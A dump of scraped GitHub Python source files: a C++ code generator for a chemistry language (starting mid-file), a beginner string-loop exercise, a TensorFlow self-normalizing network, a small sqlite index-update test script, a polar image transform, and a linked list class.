str:\n        lhs = self.visit(node.lhs)\n        rhs = self.visit(node.rhs)\n\n        table = symboltable.SymbolTable.get_table_for_node(node)\n        name = node.lhs.val if isinstance(node.lhs, ast.Name) else node.lhs.name.val\n        symbol = table.resolve(name)\n        assert symbol is not None\n        if symbol.name not in self.var_definitions:\n            symbol_type = symbol.symbol_type\n            if symbol_type == NumericType.INT:\n                definition = f'int _{symbol.name} = 0;'\n            elif symbol_type == NumericType.FLOAT:\n                definition = f'double _{symbol.name} = 0.0;'\n            else:  # ArrayType\n                assert isinstance(symbol_type, ArrayType)\n                sizes = ', '.join('n' if t == ObjectType.ATOM else 'm' for t in symbol_type.indices)\n                if len(symbol_type.indices) == 1:\n                    var_type = 'VectorXd'\n                else:\n                    var_type = 'MatrixXd'\n                definition = f'Eigen::{var_type} _{symbol.name} = Eigen::{var_type}::Zero({sizes});'\n\n            self.var_definitions[symbol.name] = definition\n\n        ee_lambda_defs_str = '\\n'.join(self.ee_lambda_defs)\n        self.ee_lambda_defs.clear()\n\n        if isinstance(node.lhs, ast.Name) and isinstance(symbol.symbol_type, ArrayType) and \\\n                isinstance(node.rhs.result_type, NumericType):\n            return f'{ee_lambda_defs_str}\\n{lhs}.fill({rhs});'\n        else:\n            return f'{ee_lambda_defs_str}\\n{lhs} = {rhs};'\n\n    def visit_For(self, node: ast.For) -> str:\n        code = []\n        for statement in node.body:\n            code.append(self.visit(statement))\n\n        name = self.visit(node.name)\n        code_str = '\\n'.join(code)\n        return for_template.format(i=name, init=node.value_from.val, to=node.value_to.val, code=code_str)\n\n    def visit_ForEach(self, node: ast.ForEach) -> str:\n        code = []\n        for statement in node.body:\n            code.append(self.visit(statement))\n\n        code_str = '\\n'.join(code)\n\n        objects_str = f'molecule.{node.type.value.lower()}s()'\n        name = self.visit(node.name)\n\n        if node.constraints is not None:\n            code_str = constraint_template.format(constraint=self.visit(node.constraints),\n                                                  code=code_str)\n        atom_specs_str = ''\n\n        if node.atom_indices is not None:\n            atom_specs_str = f'const auto &_{node.atom_indices[0]} = {name}.first();\\n' \\\n                             f'const auto &_{node.atom_indices[1]} = {name}.second();\\n'\n\n        return for_each_template.format(name=name,\n                                        objects=objects_str,\n                                        atom_specs=atom_specs_str,\n                                        code=code_str)\n\n    def visit_BinaryOp(self, node: ast.BinaryOp) -> str:\n        left = self.visit(node.left)\n        right = self.visit(node.right)\n\n        if isinstance(node.left.result_type, NumericType) and isinstance(node.right.result_type, NumericType):\n            if node.op == ast.BinaryOp.Ops.POW:\n                self.sys_includes.add('cmath')\n                return f'pow({left}, {right})'\n\n        if not ast.is_atom(node.left):\n            left = f'({left})'\n\n        if not ast.is_atom(node.right):\n            right = f'({right})'\n\n        if isinstance(node.right.result_type, ArrayType) and isinstance(node.left.result_type, ArrayType) and \\\n                node.left.result_type.dim() == 1 and node.op == ast.BinaryOp.Ops.MUL:\n            left = f'{left}.transpose()'\n\n        return f'{left} {node.op.value} {right}'\n\n    def visit_Name(self, node: ast.Name) -> str:\n        symbol = self.symbol_table.resolve(node.val)\n        if symbol is not None:\n            if isinstance(symbol, symboltable.ConstantSymbol):\n                self.user_includes.add('periodic_table.h')\n                fname = functions[symbol.property.name]\n                return f'PeriodicTable::pte().get_element_by_name(\"{symbol.element.capitalize()}\")->{fname}()'\n            elif isinstance(symbol, symboltable.ParameterSymbol):\n                return f'parameters_->common()->parameter(common::{node.val})'\n\n        return f'_{node.val}'\n\n    @staticmethod\n    def visit_Number(node: ast.Number) -> str:\n        return f'{node.val}'\n\n    def visit_UnaryOp(self, node: ast.UnaryOp) -> str:\n        return f'{node.op.value} ({self.visit(node.expr)})'\n\n    def visit_Subscript(self, node: ast.Subscript) -> str:\n        name = node.name.val\n        table = symboltable.SymbolTable.get_table_for_node(node)\n        symbol = table.resolve(name)\n        if isinstance(symbol, symboltable.ParameterSymbol):\n            self.user_includes.add('parameters.h')\n            if symbol.symbol_type == ParameterType.ATOM:\n                idx = self.visit(node.indices[0])\n                return f'parameters_->atom()->parameter(atom::{name})({idx})'\n            else:  # ParameterType.BOND\n                if len(node.indices) == 1:\n                    idx = self.visit(node.indices[0])\n                    return f'parameters_->bond()->parameter(bond::{name})({idx})'\n                else:  # == 2\n                    idx1 = self.visit(node.indices[0])\n                    idx2 = self.visit(node.indices[1])\n                    return f'parameters_->bond()->parameter(bond::{name})(*molecule.get_bond({idx1}, {idx2}))'\n\n        elif isinstance(symbol, symboltable.VariableSymbol):\n            if len(node.indices) == 1:\n                idx = self.visit(node.indices[0])\n                return f'_{name}({idx}.index())'\n            else:  # == 2\n                idx1 = self.visit(node.indices[0])\n                idx2 = self.visit(node.indices[1])\n                return f'_{name}({idx1}.index(), {idx2}.index())'\n        elif isinstance(symbol, symboltable.SubstitutionSymbol):\n            args = ','.join(('molecule', *(f'_{name.val}' for name in node.indices)))\n            if symbol.name in self.substitutions_needing_q:\n                args += ', _q'\n            return f'{symbol.name}({args})'\n        elif isinstance(symbol, symboltable.FunctionSymbol):\n            fname = symbol.function.name\n            if fname in ELEMENT_PROPERTIES:\n                idx = self.visit(node.indices[0])\n                return f'{idx}.element().{functions[fname]}()'\n            elif fname in {'formal charge', 'bond order'}:\n                idx = self.visit(node.indices[0])\n                return f'{idx}.{functions[fname]}()'\n            elif fname == 'distance':\n                self.user_includes.add('geometry.h')\n                idx1 = self.visit(node.indices[0])\n                idx2 = self.visit(node.indices[1])\n                return f'{functions[fname]}({idx1}, {idx2})'\n            else:\n                raise NotImplementedError(f'Unknown function: {fname}')\n\n        raise Exception('Should not get here')\n\n    def visit_Sum(self, node: ast.Sum) -> str:\n        number = self.sum_count\n        self.sum_count += 1\n\n        object_name = node.name.val\n\n        used_names: Set[str] = set()\n        used_names |= symboltable.NameGetter().visit(node.expr, self.symbol_table)\n\n        assert self.symbol_table.parent is not None\n        symbol = self.symbol_table.parent.resolve(object_name)\n\n        assert symbol is not None\n        assert isinstance(symbol, symboltable.ObjectSymbol)\n\n        expr_str = self.visit(node.expr)\n\n        if symbol.constraints is not None:\n            used_names |= symboltable.NameGetter().visit(symbol.constraints, self.symbol_table)\n            code = constraint_template.format(constraint=self.visit(symbol.constraints),\n                                              code=f's += {expr_str};')\n        else:\n            code = f's += {expr_str};'\n\n        formal_args = ['const Molecule &molecule']\n        args = ['molecule']\n\n        for name in used_names:\n            s = self.symbol_table.parent.resolve(name)\n            if s is None:\n                local_symbol = symboltable.SymbolTable.get_table_for_node(node).resolve(name)\n                assert local_symbol is not None\n                assert isinstance(local_symbol.symbol_type, (ArrayType, NumericType, ObjectType))\n                if isinstance(local_symbol.symbol_type, ArrayType):\n                    type_str = 'const Eigen::MatrixXd &'\n                else:\n                    type_str = types[local_symbol.symbol_type]\n\n                formal_args.append(f'{type_str} _{name}')\n                args.append(f'_{name}')\n\n        if 'q' in used_names:\n            formal_args.append('const Eigen::VectorXd _q')\n            args.append('_q')\n\n        formal_args_str = ', '.join(formal_args)\n        args_str = ', '.join(args)\n\n        if symbol.symbol_type == ObjectType.ATOM:\n            objects = 'molecule.atoms()'\n        else:  # ObjectType.BOND:\n            objects = 'molecule.bonds()'\n\n        self.prototypes.append(sum_prototype.format(number=number,\n                                                    args=formal_args_str))\n\n        self.defs.append(sum_template.format(number=number,\n                                             args=formal_args_str,\n                                             method_name=self.method_name,\n                                             objects=objects,\n                                             name=object_name,\n                                             code=code\n                                             ))\n\n        return f'sum_{number}({args_str})'\n\n    def visit_Predicate(self, node: ast.Predicate) -> str:\n        if node.name == 'element':\n            return f'_{node.args[0].val}.element().name() == \"{str(node.args[1].val).capitalize()}\"'\n        elif node.name == 'near':\n            return f'distance(_{node.args[0].val}, _{node.args[1].val}) < {node.args[2].val}'\n        elif node.name == 'bonded':\n            self.required_features.add('RequiredFeatures::BOND_INFO')\n            return f'molecule.bonded(_{node.args[0].val}, _{node.args[1].val})'\n        elif node.name == 'bond_distance':\n            self.required_features.add('RequiredFeatures::BOND_DISTANCES')\n            return f'molecule.bond_distance(_{node.args[0].val}, _{node.args[1].val}) == {node.args[2].val}'\n\n        raise RuntimeError('We should not get here')\n\n    def visit_BinaryLogicalOp(self, node: ast.BinaryLogicalOp) -> str:\n        return f'({self.visit(node.lhs)}) {node.op.value.lower()} ({self.visit(node.rhs)})'\n\n    def visit_RelOp(self, node: ast.RelOp) -> str:\n        return f'({self.visit(node.lhs)}) {node.op.value} ({self.visit(node.rhs)})'\n\n    def visit_UnaryLogicalOp(self, node: ast.UnaryLogicalOp) -> str:\n        return f'{node.op.value.lower()} ({self.visit(node.constraint)})'\n\n    def visit_EE(self, node: ast.EE) -> str:\n        number = self.ee_count\n        self.ee_count += 1\n\n        off_expr = self.visit(node.off)\n        diag_expr = self.visit(node.diag)\n        rhs_expr = self.visit(node.rhs)\n\n        used_names: Set[str] = set()\n        used_names |= symboltable.NameGetter().visit(node.off, self.symbol_table)\n        used_names |= symboltable.NameGetter().visit(node.diag, self.symbol_table)\n        used_names |= symboltable.NameGetter().visit(node.rhs, self.symbol_table)\n\n        used_names -= {node.idx_row, node.idx_col}\n\n        formal_args = ['const std::vector<const Atom *> &atoms', 'double total_charge']\n        args = ['atoms, total_charge']\n        captures = ['this']\n\n        for name in used_names:\n            s = self.symbol_table.parent.resolve(name)\n            if s is None:\n                local_symbol = symboltable.SymbolTable.get_table_for_node(node).resolve(name)\n                assert local_symbol is not None\n                assert isinstance(local_symbol.symbol_type, (ArrayType, NumericType, ObjectType))\n                if isinstance(local_symbol.symbol_type, ArrayType):\n                    type_str = 'const Eigen::MatrixXd &'\n                else:\n                    type_str = types[local_symbol.symbol_type]\n\n                formal_args.append(f'{type_str} _{name}')\n                args.append(f'_{name}')\n                captures.append(f'&_{name}')\n\n        if 'q' in used_names:\n            formal_args.append('const Eigen::VectorXd &_q')\n            args.append('_q')\n            captures.append('&_q')\n\n        formal_args_str = ', '.join(formal_args)\n        args_str = ', '.join(args)\n        captures_str = ', '.join(captures)\n\n        self.defs.append(ee_template.format(method_name=self.method_name,\n                                            number=number,\n                                            idx_row=node.idx_row,\n                                            idx_col=node.idx_col,\n                                            diag=diag_expr,\n                                            off=off_expr,\n                                            rhs=rhs_expr,\n                                            args=formal_args_str))\n\n        self.prototypes.append(ee_prototype.format(number=number,\n                                                   args=formal_args_str))\n        lambda_def = f'auto _f{number} = ' \\\n                     f'[{captures_str}](const std::vector<const Atom *> &atoms, double total_charge) -> Eigen::VectorXd ' \\\n                     f'{{ return _EE_{number}({args_str}); }};'\n\n        self.ee_lambda_defs.append(lambda_def)\n\n        return f'solve_EE(molecule, _f{number})'\n\n    def visit_Function(self, node: ast.Function) -> str:\n        arg = self.visit(node.arg)\n        if node.name == 'inv':\n            return f'{arg}.inverse()'\n        else:\n            self.sys_includes.add('cmath')\n            return f'{node.name}({arg})'\n","repo_name":"krab1k/CCL","sub_path":"ccl/generators/cpp/cpp.py","file_name":"cpp.py","file_ext":"py","file_size_in_byte":24320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21276144244","text":"##x = 0\n##y = 3\n##if x <= 2 and y == 4:\n##    print(\"Of course its less than 2 can you not count???\")\n##elif y == 3:\n##    print(\"Idek anymore I feel bad for being ahead lmao\")\n##else:\n##    print(\"Yeah thats more than 2\")\n##\n##while x < 2:\n##    print(\"X = \" + str(x))\n##    x = x + 1\n##\n##teststr = \"ITCS-1140\"\n##\n##for x in teststr:\n##    print(str(x))\n##\n##lions = \"Detroit lions are garbage\"\n##\n##for x in lions:\n##    print(str(x))\n##print(len(lions))\n##if len(lions) == 25:\n##    print(\"hey look 4 lions make 100\")\n##    print(str(lions) * 4)\n##    print(len(str(lions) * 4))\n\ndef wordCheck():\n    rule = str\n    chekvic = str\n    cot = int\n    cot = 0\n\n    rule = str(input(\"What are we checking for? : \"))\n    chekvic = str(input(\"What are we checking? : \"))\n    \n    for r in rule:\n        print(r)\n        for c in chekvic:\n            print(c)\n            if r == c:\n                print(\"is in : \" + r)\n            else:\n                print(\"its not in there\")\n            cot = cot + 1\n    print(\"this code ran \" + str(cot) + \" times!\")\n\ndef start():\n    \n    print(\"this program compares two strings aginst eachother letter by letter\")\n\ndef update():\n\n    while True:\n        wordCheck()\n\nstart()\nupdate()\n","repo_name":"IchoTM/ITCS1140","sub_path":"Loopy.py","file_name":"Loopy.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"21135301224","text":"import tensorflow as tf\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\nclass SelfNormalizingNet:\n\n    def __init__(self, inp_w = 28, inp_h = 28, n_class = 10, keep_prob = 0.9, use_gpu = False, seed = 1):\n        tf.set_random_seed(seed)\n        self._h = inp_h\n        self._w = inp_w\n        self._n_class = n_class\n\n        self._X = tf.placeholder(dtype = tf.float32, shape = [None, inp_w, inp_h, 1])\n\n        self._keep_prob = keep_prob\n        self._use_gpu = use_gpu\n\n        if use_gpu:\n            with tf.device('/device:GPU:0'):\n                self.create_network(inp_w, inp_h)\n        else:\n            with tf.device('/device:CPU:0'):\n                self.create_network(inp_w, inp_h)\n\n\n\n    def create_network(self, inp_w, inp_h):\n        self._is_training = tf.placeholder(tf.bool)\n        self._keep_prob_tensor = tf.placeholder(tf.float32)\n\n        # Create network:\n        self._conv1 = self.convolutional_layer(self._X, name = \"conv1\", strides = 1, padding = 'SAME', inp_dim = 28,\n                                               kernel_size = 5, inp_channel = 1, op_channel = 32) # [batch_size, 28, 28, 32]\n        self._conv2 = self.convolutional_layer(self._conv1, name = \"conv2\", strides = 2, padding = 'SAME', inp_dim = 28,\n                                               kernel_size = 2, inp_channel = 32, op_channel = 32) # [batch_size, 15, 15, 32]\n        self._conv3 = self.convolutional_layer(self._conv2, name = \"conv3\", strides = 1, padding = 'SAME', inp_dim = 15,\n                                               kernel_size = 5, inp_channel = 32, op_channel = 64) # [batch_size, 15, 15, 64]\n        self._conv4 = self.convolutional_layer(self._conv3, name = \"conv4\", strides = 2, padding = 'SAME', inp_dim = 15,\n                                               kernel_size = 2, inp_channel = 64, op_channel = 64) # [batch_size, 7, 7, 64]\n\n\n        self._conv4_flat = tf.reshape(self._conv4, shape = [-1, 3136])\n        self._fc1 = self.feedforward_layer(self._conv4_flat, name = \"fc1\", n_inp = 3136, n_op = 1024)\n        self._fc2 = self.feedforward_layer(self._fc1, name = \"fc2\", n_inp = 1024, n_op = 10, final_layer = True)\n        self._op = tf.nn.softmax(self._fc2)\n\n        # self._X_flat = tf.reshape(self._X, shape = [-1, 784])\n        # self._fc1 = self.feedforward_layer(self._X_flat, name = \"fc1\", n_inp = 784, n_op = 1024)\n        # self._fc2 = self.feedforward_layer(self._fc1, name = \"fc2\", n_inp = 1024, n_op = 512)\n        # self._fc3 = self.feedforward_layer(self._fc2, name = \"fc3\", n_inp = 512, n_op = 256)\n        # self._fc4 = self.feedforward_layer(self._fc3, name = \"fc4\", n_inp = 256, n_op = 128)\n        # self._fc5 = self.feedforward_layer(self._fc4, name = \"fc5\", n_inp = 128, n_op = 64)\n        # self._fc6 = self.feedforward_layer(self._fc5, name = \"fc6\", n_inp = 64, n_op = 32)\n        # self._fc7 = self.feedforward_layer(self._fc6, name = \"fc7\", n_inp = 32, n_op = 16)\n        # self._fc8 = self.feedforward_layer(self._fc7, name = \"fc8\", n_inp = 16, n_op = 10, final_layer = True)\n        # self._op = tf.nn.softmax(self._fc8)\n\n\n\n\n\n    # Define layers and modules:\n    def convolutional_layer(self, x, name, inp_dim, inp_channel, op_channel, kernel_size=3, strides = 1, padding='VALID',\n                            pad = 1, dropout=True, not_activated=False):\n        if pad != 0 and padding == 'VALID':\n            x_padded = tf.pad(x, self.create_pad(4, pad))\n        else:\n            x_padded = x\n\n        # if padding == 'VALID':\n        #     op_dim = tf.floor((inp_dim + 2 * pad - kernel_size) / strides) + 1\n        # else:\n        #     op_dim = inp_dim\n        n_neurons = inp_dim * inp_dim * inp_channel\n\n        W_conv = tf.get_variable(\"W_\" + name, shape=[kernel_size, kernel_size, inp_channel, op_channel],\n                                 initializer=tf.initializers.random_normal(mean = 0, stddev = 1 / np.sqrt(n_neurons)))\n        b_conv = tf.get_variable(\"b_\" + name, initializer=tf.zeros(op_channel))\n        z_conv = tf.nn.conv2d(x_padded, W_conv, strides=[1, strides, strides, 1], padding=padding) + b_conv\n        a_conv = tf.nn.selu(z_conv)\n\n        if dropout:\n            a_conv_dropout = tf.contrib.nn.alpha_dropout(a_conv, keep_prob = self._keep_prob_tensor)\n            return a_conv_dropout\n        if not_activated:\n            return z_conv\n        return a_conv\n\n    def feedforward_layer(self, x, name, n_inp, n_op, final_layer = False):\n        W = tf.get_variable(name = \"W_\" + name, shape = [n_inp, n_op],\n                            initializer = tf.initializers.random_normal(mean = 0, stddev = np.sqrt(1 / n_inp)))\n        b = tf.get_variable(name = \"b_\" + name, shape = [n_op])\n        z = tf.matmul(x, W) + b\n\n        if final_layer:\n            return z\n        else:\n            a = tf.nn.selu(z)\n            a_dropout = tf.contrib.nn.alpha_dropout(a, keep_prob = self._keep_prob_tensor)\n            return a_dropout\n\n\n    # Predict:\n    def predict(self, X):\n        ans = self._sess.run(self._op,\n                             feed_dict={self._X: X, self._is_training: False, self._keep_prob_tensor: 1.0})\n        return ans\n\n\n    # Train:\n    def fit(self, X, y, num_epoch = 1, batch_size = 16, weight_save_path=None, weight_load_path=None,\n            plot_losses=False, print_every = 1):\n        self._y = tf.placeholder(tf.float32, shape=[None, self._n_class])\n        self._mean_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels = self._y, logits = self._fc2,))\n        self._optimizer = tf.train.AdamOptimizer(beta2 = 0.99, epsilon = 0.01)\n        # self._optimizer = tf.train.AdadeltaOptimizer()\n        extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n        with tf.control_dependencies(extra_update_ops):\n            self._train_step = self._optimizer.minimize(self._mean_loss)\n        self._sess = tf.Session()\n        if weight_load_path is not None:\n            loader = tf.train.Saver()\n            loader.restore(sess=self._sess, save_path=weight_load_path)\n            print(\"Weight loaded successfully\")\n        else:\n            self._sess.run(tf.global_variables_initializer())\n            # shape = tf.shape(self._conv1)\n            # print(self._sess.run(shape, feed_dict = {self._X: [X[0]], self._keep_prob_tensor: 1}))\n        if num_epoch > 0:\n            print('Training Self-Normalizing Net for ' + str(num_epoch) + ' epochs')\n            self.run_model(self._sess, self._op, self._mean_loss, X, y, num_epoch, batch_size, print_every,\n                           self._train_step, weight_save_path=weight_save_path, plot_losses=plot_losses)\n\n    # Adapt from Stanford's CS231n Assignment3\n    def run_model(self, session, predict, loss_val, Xd, yd,\n                  epochs=1, batch_size=1, print_every=1,\n                  training=None, plot_losses=False, weight_save_path=None, patience=None):\n        # have tensorflow compute accuracy\n        correct_prediction = tf.cast(tf.equal(tf.argmax(self._op, axis = -1), tf.argmax(self._y, axis = -1)), tf.float32)\n        accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n        # Define saver:\n        saver = tf.train.Saver()\n\n        # shuffle indicies\n        train_indicies = np.arange(Xd.shape[0])\n        np.random.shuffle(train_indicies)\n\n        training_now = training is not None\n\n        # setting up variables we want to compute (and optimizing)\n        # if we have a training function, add that to things we compute\n        variables = [self._mean_loss, correct_prediction, accuracy]\n        if training_now:\n            variables[-1] = training\n            self._keep_prob_passed = self._keep_prob\n        else:\n            self._keep_prob_passed = 1.0\n\n        # counter\n        iter_cnt = 0\n        val_losses = []\n        early_stopping_cnt = 0\n        for e in range(epochs):\n            # keep track of losses and accuracy\n            correct = 0\n            losses = []\n            # make sure we iterate over the dataset once\n            for i in range(int(math.ceil(Xd.shape[0] / batch_size))):\n                # generate indicies for the batch\n                start_idx = (i * batch_size) % Xd.shape[0]\n                idx = train_indicies[start_idx:start_idx + batch_size]\n\n                # create a feed dictionary for this batch\n                # get batch size\n                actual_batch_size = yd[idx].shape[0]\n\n                if i < int(math.ceil(Xd.shape[0] / batch_size)) - 1:\n                    feed_dict = {self._X: Xd[idx, :],\n                                 self._y: yd[idx],\n                                 self._is_training: training_now,\n                                 self._keep_prob_tensor: self._keep_prob_passed}\n                    # have tensorflow compute loss and correct predictions\n                    # and (if given) perform a training step\n                    loss, corr, _ = session.run(variables, feed_dict=feed_dict)\n\n                    # aggregate performance stats\n                    losses.append(loss * actual_batch_size)\n                    correct += np.sum(corr)\n\n                    # print every now and then\n                    if training_now and (iter_cnt % print_every) == 0:\n                        print(\"Iteration {0}: with minibatch training loss = {1:.3g} and accuracy of {2:.2g}\" \\\n                              .format(iter_cnt, loss, np.sum(corr) / actual_batch_size))\n\n\n                else:\n                    feed_dict = {self._X: Xd[idx, :],\n                                 self._y: yd[idx],\n                                 self._is_training: False,\n                                 self._keep_prob_tensor: 1.0}\n                    val_loss = session.run(self._mean_loss, feed_dict=feed_dict)\n                    print(\"Validation loss: \" + str(val_loss))\n                    val_losses.append(val_loss)\n                    # if training_now and weight_save_path is not None:\n                    if training_now and val_loss <= min(val_losses) and weight_save_path is not None:\n                        save_path = saver.save(session, save_path=weight_save_path)\n                        print(\"Model's weights saved at %s\" % save_path)\n                    if patience is not None:\n                        if val_loss > min(val_losses):\n                            early_stopping_cnt += 1\n                        else:\n                            early_stopping_cnt = 0\n                        if early_stopping_cnt > patience:\n                            print(\"Patience exceeded. Finish training\")\n                            return\n                iter_cnt += 1\n            total_correct = correct / Xd.shape[0]\n            total_loss = np.sum(losses) / Xd.shape[0]\n            print(\"Epoch {2}, Overall loss = {0:.3g} and accuracy of {1:.3g}\" \\\n                  .format(total_loss, total_correct, e + 1))\n            if plot_losses:\n                plt.plot(losses)\n                plt.grid(True)\n                plt.title('Epoch {} Loss'.format(e + 1))\n                plt.xlabel('minibatch number')\n                plt.ylabel('minibatch loss')\n                plt.show()\n        return total_loss, total_correct\n\n\n    def create_pad(self, n, pad):\n        pad_matrix = [[0, 0]]\n        for i in range(n - 2):\n            pad_matrix.append([pad, pad])\n        pad_matrix.append([0, 0])\n        return tf.constant(pad_matrix)\n\n    def save_weights(self, weight_save_path):\n        saver = tf.train.Saver()\n        saver.save(sess=self._sess, save_path=weight_save_path)\n        print(\"Weight saved successfully\")\n\n\n    def evaluate(self, X, y):\n        self.run_model(self._sess, self._op, self._mean_loss, X, y, 1, 16)\n\n\n\n\n\n\n\n\n","repo_name":"nhatsmrt/NeuralNetworkZoo","sub_path":"SelfNormalizingNetwork.py","file_name":"SelfNormalizingNetwork.py","file_ext":"py","file_size_in_byte":11671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25995571706","text":"import os\nimport sqlite3\nimport sys\nimport random\nimport string\nimport time\nimport subprocess\nfrom pathlib import Path\n\nparent = sys.argv[1]    #parent dir name\nindx = sys.argv[2]          #index name\n\nech = subprocess.Popen(('echo', 'y'), stdout=subprocess.PIPE)\nsubprocess.check_output(('bdm-create-outtree-index', parent, indx), stdin=ech.stdout)\npath = \"ind/.bdm.db\"\ncon = sqlite3.connect(path)\ncursor = con.cursor()\ncursor.execute(\"select atime from entries\")\nres = cursor.fetchall()\natime = res[0][0]\n# check for name to be deleted in entries table\n#    conn = sqlite3.connect(path)\n#    cur2 = conn.cursor()\n#    cur2.execute(\"select name from entries;\")\n#    r = cur2.fetchall()\n#    name = r[0][0]\n#    print(name)\nfil = [f for f in os.listdir( parent ) if os.path.isfile(parent + f)]\nprint(fil)\nprint(len(fil))\nprint(fil[0])\nt = parent + fil[0]\nprint(t)\nif fil == []:\n\texit()\nsubprocess.run([\"cat\", parent + 'check_read'])     \nprint(\"---------------------< Update Next > -----------------------\")\nech = subprocess.Popen(('echo', 'y'), stdout=subprocess.PIPE)\nsubprocess.check_output(('bdm-update-outtree-index', parent, indx), stdin=ech.stdout)\ncon = sqlite3.connect(path)\ncursor = con.cursor()\ncursor.execute(\"select atime from entries;\")\nres1 = cursor.fetchall()\natime1 = res1[0][0]\nprint()\n\n#    conn = sqlite3.connect(path)\n#    cur2 = conn.cursor()\n#    cur2.execute(\"select name from entries;\")\n#    r = cur2.fetchall()\n#    if r == []:\n#    \tbreak\n#    else:\n#    \tname2 = r[0][0]\n#    assert name != name2\nprint(\"----------------The updated value are as follows-------------------\")\n","repo_name":"piyushthange/paroscale-programming","sub_path":"python/25_read.py","file_name":"25_read.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16727004617","text":"from PIL import Image\nimport math\n\ndef polar(x, y):\n    r = (x**2 + y**2)**0.5\n    theta = 0\n    if y == 0:\n        theta = 180 if x < 0 else 0\n    elif x == 0:\n        theta = 90 if y > 0 else 270\n    else:\n        theta = math.degrees(math.atan(y/x))\n\n    if x < 0:\n        theta += 180\n    elif y < 0:\n        theta += 360\n        \n    return r, theta\n\nim0 = Image.open(\"../../heatmap/sleep_heatmap_minute_spectrum.png\")\n# https://stackoverflow.com/a/14178717\n\nS = max(im0.size)\nim = Image.new('RGB', (S, S), (255,255,255))\n# isolated to left half?\nim.paste(im0.rotate(-90, expand=1).resize((im0.width//2, S), Image.NEAREST), (0,0))\nscale = 1\nim0 = im.resize((S*scale, S*scale), Image.NEAREST)\n#im0.show()\nim = Image.new('RGB', (S*scale, S*scale), (255,255,255))\n\npx0 = im0.load()\npx = im.load()\n\nstep = 1\nfor x in range(0,S,step):\n    for y in range(0,S,step):\n        x0, y0 = x-S//2, -y+S//2\n        #print(x, y, \"|\", polar(x, y), sep=\"\\t\")\n        p = polar(x0, y0)\n        #print(x0, y0, p)\n        try:\n            px[x,y] = px0[p[0],p[1]*(S/360)]\n        except:\n            #print(x, y, x0, y0, p, p[1]*(S/360), sep=\"\\t\")\n            # theta values 360 and 630 instead of 180 and 270 respectively\n            if y0 == 0:\n                px[x,y] = px0[p[0],(p[1]-180)*(S/360)]\n            elif x0 == 0:\n                px[x,y] = px0[p[0],(p[1]-360)*(S/360)]\n\nim = im.transpose(Image.FLIP_LEFT_RIGHT).rotate(-90)\n#im.show()\nim.save(\"derp5_spectrum.png\", \"PNG\")\n\nside = im.width\ndiagonal = (2*side**2)**0.5\noffset = ((((diagonal-side)/2)**2)/2)**0.5\n\nim.crop((offset, offset, side-offset, side-offset)).save(\"derp5_spectrum_square.png\", \"PNG\")\n","repo_name":"sttic/Habit-Visualization","sub_path":"py/polar/derps/derp5_spectrum.py","file_name":"derp5_spectrum.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"42179117432","text":"#!/usr/bin/python3\n\n\n\"\"\"\nA module that implements the a Linked List using\n\npython classes\n\"\"\"\n\n\nclass Node:\n    \"\"\" A node class that defines the node of linked list \"\"\"\n    def __init__(self, data, next_node=None):\n        \"\"\" Instantiate the class with data and next_node\"\"\"\n        self.data = data\n        self.next_node = next_node\n\n    def get_data(self):\n\n        \"\"\" A getter that retrieves the value of data \"\"\"\n        return self.__data\n\n    def set_data(self, value):\n        \"\"\" A setter that sets the value of data \"\"\"\n        if isinstance(value, int):\n            self.__data = value\n        else:\n            raise TypeError(\"data must be an integer\")\n\n    def get_next_node(self):\n        \"\"\" A getter that retrieved the value of the next node \"\"\"\n        return self.__next_node\n\n    def set_next_node(self, value):\n        \"\"\" A setter that sets the value of next node \"\"\"\n        if value is None or isinstance(value, self.__class__):\n            self.__next_node = value\n        else:\n            raise TypeError(\"next_node must be a Node object\")\n\n    data = property(get_data, set_data)\n    next_node = property(get_next_node, set_next_node)\n\n\nclass SinglyLinkedList:\n    \"\"\"\n    This class defines a singly linked list\n    using the node class to create the list\n    \"\"\"\n    def __init__(self):\n        \"\"\"Initializes the class with the private attr. head node as None\"\"\"\n        self.__head = None\n\n    def sorted_insert(self, value):\n        \"\"\" Inserts a new node into the Singly Linked list\n        and also sorting the entries.. thus making sure the data in\n        the linked list is sorted \"\"\"\n        new_node = Node(value)\n\n        if self.__head is None:\n            self.__head = new_node\n        else:\n            ptr = self.__head\n            initial_node = None\n            while ptr is not None:\n                if ptr.data >= new_node.data:\n                    break\n                initial_node = ptr\n                ptr = ptr.next_node\n            if initial_node is None:\n                new_node.next_node = ptr\n                self.__head = new_node\n            else:\n                initial_node.next_node = new_node\n                new_node.next_node = ptr\n\n    def __str__(self):\n        \"\"\" A string representation of the whole data in the linked list \"\"\"\n        ptr = self.__head\n        str_rep = \"\"\n        while ptr is not None:\n            str_rep += str(ptr.data) + \"\\n\"\n            ptr = ptr.next_node\n        return str_rep[:-1]\n","repo_name":"shady-cj/alx-higher_level_programming","sub_path":"0x06-python-classes/100-singly_linked_list.py","file_name":"100-singly_linked_list.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
